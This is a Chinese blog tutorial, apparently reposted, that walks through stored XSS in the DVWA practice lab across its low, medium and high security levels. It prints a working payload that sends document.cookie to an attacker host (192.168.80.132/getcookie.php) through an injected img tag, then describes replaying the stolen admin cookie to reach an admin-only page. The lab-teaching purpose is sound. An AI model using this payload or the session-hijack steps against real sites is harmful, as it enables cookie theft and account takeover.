码迷,mamicode.com
首页 > 其他好文 > 详细

DVWA系统之21 存储型XSS分析与利用

时间:2015-12-30 19:57:54      阅读:1418      评论:0      收藏:0      [点我收藏+]

标签:dvwa xss 存储型 cookie 代码

存储型跨站可以将XSS语句直接写入到数据库中,因而相比反射型跨站的利用价值要更大。

在DVWA中选择XSS stored,这里提供了一个类型留言本的页面。

技术分享

我们首先查看low级别的代码,这里提供了$message和$name两个变量,分别用于接收用户在Message和Name框中所提交的数据。对这两个变量都通过mysql_real_escape_string()函数进行了过滤,但是这只能阻止SQL注入漏洞。

技术分享

可以看出,在low级别下,Name和Message这两个文本框都存在跨站漏洞,但是由于DVWA对name框的长度进行了限制,最多只允许输入10个字符,所以我们这里在Message框输入跨站语句“<script>alert(‘hi‘)</script>”,以后任何人只要访问这个留言页面,就可以触发跨站语句,实现弹框。

当然,弹框并不是目的,XSS的主要用途之一是盗取cookie,也就是将用户的cookie自动发送到黑客的电脑中。

下面我们准备一台安装有PHP环境的Web服务器(IP地址192.168.80.132),在其中创建一个名为getcookie.php的网页,网页代码如下:

技术分享

然后在Message框中输入下面这段XSS语句,注意中间没有换行:

<script>document.write(‘<img src="http://192.168.80.132/getcookie.php?cookie=‘+document.cookie+‘"  height=0 border=0 />‘);</script>

在DVWA中提交之后,这时就会在getcookie.php网页所在的目录下生成一个名为cookie.txt的文件,其中就含有窃取过来的cookie:

技术分享

那么我们该怎么利用窃取过来的cookie呢?由于这个cookie是以管理员的身份创建的,有些网站的cookie中会直接包含有管理员的账号和密码,这里的cookie虽然没有密码,但我们可以利用这个cookie假冒管理员的身份去执行某些操作。

比如在之前的CSRF测试页面中可以更改管理员的密码,我们将这个页面的URL复制下来:http://192.168.80.1/dvwa/vulnerabilities/csrf/,然后新打开一个浏览器窗口,将URL粘贴过去直接访问,由于这个页面只有管理员权限才可以访问,因而这时就会自动跳转到DVWA的登录界面。

现在我们已经窃取到了管理员的cookie,因而就可以绕过身份验证,而直接去访问CSRF页面。当然这里需要借助一些可以修改cookie的工具,很多渗透工具都提供了类似的功能,比如经典的啊D。在“扫描注入点”的“检测网址”中输入要访问的URL,然后点击最右侧的“cookies 修改”按钮,在下方的文本框中输入窃取来的cookie,点击修改按钮,然后再点击“打开网页”按钮,这时就可以直接以管理员身份访问这个页面了。

技术分享

下面再分析一下medium级别的代码,可以看到对变量$message用htmlspecialchars()函数进行了过滤,这样Message输入框就不存在XSS漏洞了,但是Name框仍有漏洞。不过由于DVWA对Name框的长度进行了限制,只允许最多输入10个字符,因而这里的XSS攻击就有些难度了,网上有不少如何缩短XSS语句长度的资料,但我没查到合适的攻击方法,这个问题也只能暂时搁置了。

技术分享

在high级别中,则毫无疑问地对$message和$name都进行了过滤,这样跨站漏洞也就被彻底阻止了。

技术分享

本文出自 “一壶浊酒” 博客,转载请与作者联系!

DVWA系统之21 存储型XSS分析与利用

标签:dvwa xss 存储型 cookie 代码

原文地址:http://yttitan.blog.51cto.com/70821/1730072

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!